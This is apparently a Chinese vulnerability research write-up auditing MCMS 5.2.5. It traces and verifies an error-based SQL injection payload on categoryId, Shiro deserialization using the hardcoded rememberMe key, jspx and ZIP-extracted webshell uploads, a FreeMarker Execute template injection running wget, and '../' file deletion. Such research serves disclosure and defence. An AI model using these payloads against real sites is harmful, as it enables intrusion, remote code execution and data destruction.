0X01 环境搭建

项目地址下载:https://gitee.com/mingSoft/MCMS

当前版本:5.2.5 也可下载的releases版本 5.2.4

image-20220115193615578

PS:注意Mysql版本需大于5.6以上

创建一个mcms数据库,并且导入doc/数据库文件

application-dev中修改数据库账户密码

运行MSApplication.java main方法,如下图,环境无问题

管理员:msopen/密码:msopen

image-20220115195620671

外置环境配置

搭建Tomcat环境

注意:环境最好使用1.8版本,作者使用15版本,打包war时一直报错,版本不对,最后将1.8设置默认版本后才成功。

编辑 pox.xml 修改打包方式为 war 包

<!-- 打包成war包 -->
<packaging>war</packaging>

添加依赖

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-tomcat</artifactId>
</dependency>

<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>

修改启动类 src\main\java\net\mingsoft\MSApplication.java

@SpringBootApplication(scanBasePackages = {"net.mingsoft"})
@MapperScan(basePackages={"**.dao","com.baomidou.**.mapper"})
@ServletComponentScan(basePackages = {"net.mingsoft"})
public class MSApplication extends SpringBootServletInitializer {
@Override
protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {
return builder.sources(MSApplication.class);
}

public static void main(String[] args) {
SpringApplication.run(MSApplication.class, args);
}
}

启动类爆红,导入包路径即可。

使用maven打包,点击如下图标,设置

image-20220118215206232

image-20220118215232442

新建 tomcat server ,导入即可

image-20220118215629972

搭建成功,如果登录后提示分页插件出错

原因:参考其他大佬的

MSServletInitializer.java 文件从项目中删除即可,因为该类也继承了SpringBootServletInitializer类,所以导致PageHelper插件被配置了两次

参考链接:https://www.zhihu.com/question/330677156

项目目录

image-20220118220646126

其中我们主要关注红框的三个目录

  • Action 控制器层
  • biz 业务逻辑层
  • dao 数据库交互层

并且在cms中并未发现全局过滤文件。

作者后端技术框架

image-20220118222701099

0X02 SQL注入漏洞

MyBatis SQL 注入前置知识

根据作者发布的配置文档可知, 后端使用的是 ORM框架 MyBatis

MyBatis 的 SQL 语句可以使用注解方法写在类方法上,也可以使用 xml 的方式,而使用的最多的方式就是将语句写入 xml 文件中。

编写 xml 文件时,MyBatis 支持两种参数符号

  • $ – 拼接 SQL
    • # – 使用预编译

当语句使用 $ 拼接时,则会产生 SQL 注入漏洞。

参考链接:https://www.freebuf.com/vuls/240578.html

漏洞分析

我们关注 dao 目录,可以发现作者使用的是 xml 文件方式写入的

右键点击 Find in Path 选中 File mask 在 dao 目录下搜索 xml 文件

$ 搜索,发现有两条 select 语句均使用了 $ 拼接参数 categoryId,跟进

image-20220118223834663

漏洞点:src/main/java/net/mingsoft/cms/dao/IContentDao.xml

可以发现 这条 select 语句是属于 select 标签 id 是 query,说明是 query 方法调用

image-20220118224150971

IContentDao.xml 对应的映射接口类是 net.mingsoft.cms.dao.c,此文件中并未找到 query 方法,此时我们继续跟进到父类 IBaseDao(net.mingsoft.base.dao.IBaseDao)

image-20220118224431593

在父类 IBaseDao 中找到 query 方法,IContentDao 接口类 继承父类 IBaseDao,所以可调用 query 方法

image-20220118224807165

此时,我们需要去寻找 query 方法的对应的实现类。

IContentDao 对应的业务接口是 net.mingsoft.cms.biz.IContentBiz,而实现类是net.mingsoft.cms.biz.impl.ContentBizImpl,同理,跟进 ContentBizImpl 的 父类 BaseBizImpl(net.mingsoft.base.biz.impl.BaseBizImpl)发现父类中实现了 query 方法,调用了 dao 层的 query 方法

image-20220118225654859

现在我们只需要跟进控制器层代码,寻找 categoryId 可控点,即可完成整个调用链。

对应的控制器文件 src/main/java/net/mingsoft/cms/action/ContentAction.java 104行处

image-20220118230301298

@ApiImplicitParam 注解中定义了 categoryId 参数对应的是所属栏目,使用的方法是 query

而 127行 对应的调用处是 list 并且使用 post 方法获取到上述所有需要查询的参数并放到 content 中,通过 query 方法去查询对应的数据

image-20220118230705712

此时我们可以去登录,验证漏洞是否存在

漏洞验证

功能大全->文章管理 抓包

image-20220118232135765

在 pageSize 后面添加 categoryId 参数

Payload: categoryId=1' and updatexml(1,concat(0x7e,databases(),0x7e),1) and '1

image-20220118232024944

image-20220118231714788

成功,同时可以使用 Mysql 数据库监控程序,查看和数据库交互的语句

image-20220118232519574

注入的语句

select count(0) from ( select ct.* from ( select ct.*,cc.category_path from cms_content ct join cms_category cc on ct.category_id=cc.id WHERE ct.del=0 and (ct.category_id='1'' and updatexml(1,concat(0x7e,user(),0x7e),1) and ''1' or ct.category_id in (select id FROM cms_category where find_in_set('1' and updatexml(1,concat(0x7e,user(),0x7e),1) and '1',CATEGORY_PARENT_IDS)>0)) )ct ORDER BY ct.content_datetime desc,content_sort desc ) tmp_count

抓包时,还发现了华点。。

rememberMe=rWugSNNLZQzRFHaq7ak+mgedIxoeZBy4qAquhNineUSo8u1NL/L4YCkX4vhDD9i1d/Hm2oBNc4ou74W/ALQNI5GYQH/tGQcYkffbwtjd4VZuoXD4D73yWZ3IGNIbVxXLJgk5WCc0VkOIizpA529fHxCurk4RLpC5K6EeX+J/TK8uGYnNtZyDz50BnbtF0UgntjTpRx++tnbB1XEpiUm4T/+AR1jH3U3RI/BCRXpAwg08lsFEBTYloTj+CqAHKMFCXOBIAdS4F/2pnHJfba7KU2JKNap0xu8maiRCs3+qYPncV3dpwzA8KyVOvnUIaNxOBSMEclpiQi1ykpwd32e4eqcC4Zey9lTJIp+znimCIszR5Qrn3SGewegH7BOrzdSkyHpDJxPWwejq9UYJ6ZkthidmrM8YVRHD8+kJGpkt/po42qP4JmGW6JP4Wt4StgsJZEO+bS/HjFwOpbDkJ3nnqZGaZzoAUmI+TaF8yPE9fmHNg01HtbiJsR8Ml6YcDXJdTOZ0xzPaGnUanggXwlL2x3DEndd0DKHfMHe8NNEe0KTMPoI+/ScWkF+Ogjomuo2mRqVMVWdYMsimMB73MFfW+9U/ugVVREqzSuH7Ym1KdwvtsCrQBMjLBz7P6d10Uvi2zL8g86u8wKhKoBg5gu8jmO8tQJkdb53VMpYNpyc8SnujThz/CQgyRjPRJ6v9lINR7rRQ0SjTU2wHIJfToaIOerDgxj2wTcw2tcLJKj8fj0DamOAdXrNhayx1xHYS16bU9PO3TteshfPCPOBrC31SKKY1RxTMBcMFrDTApI0n9eSOhDttMHp879iibCXXgH17TfrXIsymd+5iSCpkKJCruhwZJyi8TtvShgotzE0OumKObevO2p1/D2lWX1yuZ2zL2wSMtKReGo5g8ONab5bOQsp+B++LjFhLUsBLqWiBT1L8wNwJl5yTy1jgdpC2tmkz0judbdp/h9E6J9pDEhUsUllYeVyzadnCYugRDMrNbcDFusdUKOUZrz8yBLTuHcPopP1hmDJnotSnvKuAdg36mUzuipolOMGHz49OkAzQE9y8aV1S33hBMs8dCF+1bL+VZYKlpPriP5LWrEiKzf3v/L9sojsDrLzbhZjbBaZ2zkUdh9O/dyWyw4hBSNVUYmO3pjTjIWBbhiBFKjc12S6jcTP/QPkY1i9deoMhMhHuP0gYlNiL4YLpsnXnAwaElaTutHWPbQcHQhXQounbYJRIVGiXCj3aLNQ4wgOlZdLMAvcAoyRljrIrjQJcfInuQNCKMYf5d9ZbtCfB3NJyZ3H3ff56pS+ipZfJ6RMIijqMFHs448CGn0lqJjpFD/bH+CTQIEvwF7tHJw==

网站还使用 shiro 框架,后续可以跟踪一下此漏洞。

0X03 shiro反序列化

漏洞分析

shiro配置文件:

repository/net/mingsoft/ms-basic/2.1.10/ms-basic2.1.10.jar!/net/mingsoft/config/ShiroConfig.class

mcms作者将核心一些配置文件封装成 ms-basic2.1.10.jar

image-20220121223946513

打个断点到 ShiroConfig 的 rememberMeManager

image-20220203032307242

可以看见获取到默认 key 值 4AvVhmFLUs0KTA3Kprsdag==

image-20220203032355314

这里获取的 MCMS-master/src/main/resources/application.yml 配置文件中的值

image-20220203034128375

之前我们跟过 shiro 反序列化漏洞,知道触发点在

org/apache/shiro/shiro-all/1.8.0/shiro-all-1.8.0.jar!/org/apache/shiro/mgt/AbstractRememberMeManager.class

image-20220204072028555

跟进 getRemeberedPrincipals , this.getCookie().readValue 获取cookie值

image-20220205230432146

再对比 cookie 值是否为 deleteME ,不匹配,走到 decoded = Base64.decode(base64) 解密 base64

image-20220205230934752

返回一串 AES 加密的 bytes 值,走完后,会跳回到 getRemeberedPrincipals 执行下一个方法

convertBytesToPrincipals 这个方法是解密并进行反序列化

image-20220205231141049

跟进 decrypt , getCipherService AES加密类,说明当前使用的加密是 AES/GCM/NoPadding 分组加密不填充模式

image-20220205231356313

cipherService.decrypt(encrypted, this.getDecryptionCipherKey()) 解密,getDecryptionCipherKey 获取密钥,密钥是在配置文件中获取的

image-20220205232313984

通过 setCipherKey 设置密钥,rememberMeManager 返回的是 CookieRememberMeManager 对象,而 CookieRememberMeManager 继承 AbstractRememberMeManager

image-20220205232615287

所以 AbstractRememberMeManager 构造方法接收到了密钥 4AvVhmFLUs0KTA3Kprsdag==

image-20220205232643299

image-20220205233037004

解密后,返回一串 序列化值

image-20220205233135677

调用 deserialize 反序列化

image-20220205233258162

image-20220205233341052

反序列化出来的内容,就是我们当前用户的信息。

打个 payload 看看反序列的内容是不是命令执行。

image-20220205233615921

payload 成功反序列化出来

漏洞验证

image-20220205233706880

0X04 文件上传漏洞

漏洞分析

文件上传接口

repository/net/mingsoft/ms-basic/2.1.10/ms-basic-2.1.10.jar!/net/mingsoft/basic/action/ManageFileAction.class

image-20220206211531476

当我们上传文件时,upload 获取上传的文件信息

image-20220207035014696

image-20220207035118947

this.upload 处理上传操作,跟进

image-20220207035302222

MCMS-master/src/main/resources/application.yml 配置文件内容

image-20220207035556247

uploadFileDenied 获取配置文件的中后缀名赋给 errType 是黑名单 ,而这里只获取了 .exe.jsp , 继续跟代码,查看是否有做二次验证。

image-20220207040500781

后续并没有进行二次验证,在 40 行截取上传文件后缀名,在 59 行,System.currentTimeMillis() 生成一段14位的随机数和后缀名拼接组成新的文件名 ,并在 66 行循环对比后缀名是否和黑名单中相匹配。

image-20220207040837052

后缀名不在黑名单后,就会执行保存操作,这段验证操作比较简单,主要是对比黑名单,而作者的黑名单后缀名过滤不够完整,用 jspx 即可绕过。

漏洞验证

栏目管理 -> 上传缩略图

文件管理 -> 上传缩略图

系统设置 -> 网站LOGO

均调用 upload 代码,只是上传目录不同。

上传 jspx 文件,跟踪调用链

image-20220207042154698

可以看见 jspx 成功上传

image-20220207042302204

0X05 ZIP自解压(上传webshell)

漏洞分析

ZIP文件上传点

net/mingsoft/ms-basic/2.1.10/ms-basic-2.1.10.jar!/net/mingsoft/basic/action/ManageFileAction.class

image-20220207061612143

image-20220207061632642

image-20220207061645509

整个ZIP文件上传流程和前面分析的流程一致。

自解压

repository/net/mingsoft/ms-basic/2.1.10/ms-basic-2.1.10.jar!/net/mingsoft/basic/action/TemplateAction.class

image-20220207061809413

上传一个zip,然后抓包,上传成功后,会返回一个zip包上传路径

image-20220207062217272

随即会自动调用 unzip 解压文件,fileUrl 是我们上次的zip文件地址

image-20220207062441860

断点打在 unzip ,也没什么复杂的处理,得到文件路径,判断路径中是否有 ../..\\ zip文件,再根据路径获取 zip 文件。

image-20220207063346809

unzip 解压 , 跟进,可以发现是遍历 zip 文件中的所有文件

image-20220207064705911

返回解压后的所有文件,del 判断是否解压,解压完成后,删除压缩包文件。

image-20220207064903950

中间也没有做任何的文件过滤,判断啥的,后缀名也是使用的黑名单,使用burp可以修改后缀名上传webshell。

漏洞验证

生成一个哥斯拉 webshell , 将webshell放到 zip 压缩包中

image-20220207065151816

上传压缩包

image-20220207065254120

访问路径

http://localhost:8081/ms_mcms_war/template/1//default/2.jsp

image-20220207065400015

哥斯拉连接

image-20220207065439381

绕过后缀名

image-20220207065526380

image-20220207065535286

0X06 模板注入

漏洞分析

该CMS使用的模版引擎是freemarker,该模版引擎是存在模版注入的

登录管理后台,在后台模板管理界面,是可以修改模板文件内容的

编辑模块调用的是

/net/mingsoft/ms-basic/2.1.10/ms-basic-2.1.10.jar!/net/mingsoft/basic/action/TemplateAction.class writeFileContent

image-20220207071553743

可以看见这段代码中也没有对内容进行过滤,只是获取了内容,名字,然后将编辑后的内容和原内容对比,然后修改成功。

生成主页

MCMS-master/src/main/java/net/mingsoft/cms/action/GeneraterAction.java

image-20220207073203047

跟进 generate 方法

image-20220207074718868

rendering 解析模板文件

image-20220207074829164

image-20220207074938161

image-20220207075025571

正常解析模板文件,当注入恶意代码时,漏洞被成功触发。

漏洞验证

修改模板文件

payload:  
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("wget http://localhost:8084") }

image-20220207075222116

保存,点击内容管理 -> 静态化

image-20220207075342601

模板选择对应修改的文件,生成主页

image-20220207075428602

触发成功。

OXO7 任意文件删除

漏洞分析

漏洞点

net/mingsoft/ms-basic/2.1.10/ms-basic-2.1.10.jar!/net/mingsoft/basic/action/TemplateAction.class

image-20220207082049946

代码无任何过滤,获取要删除的文件名,deleteDirectory 执行删除

漏洞验证

image-20220207082431099

修改为 ../1 , 成功删除
image-20220207082729105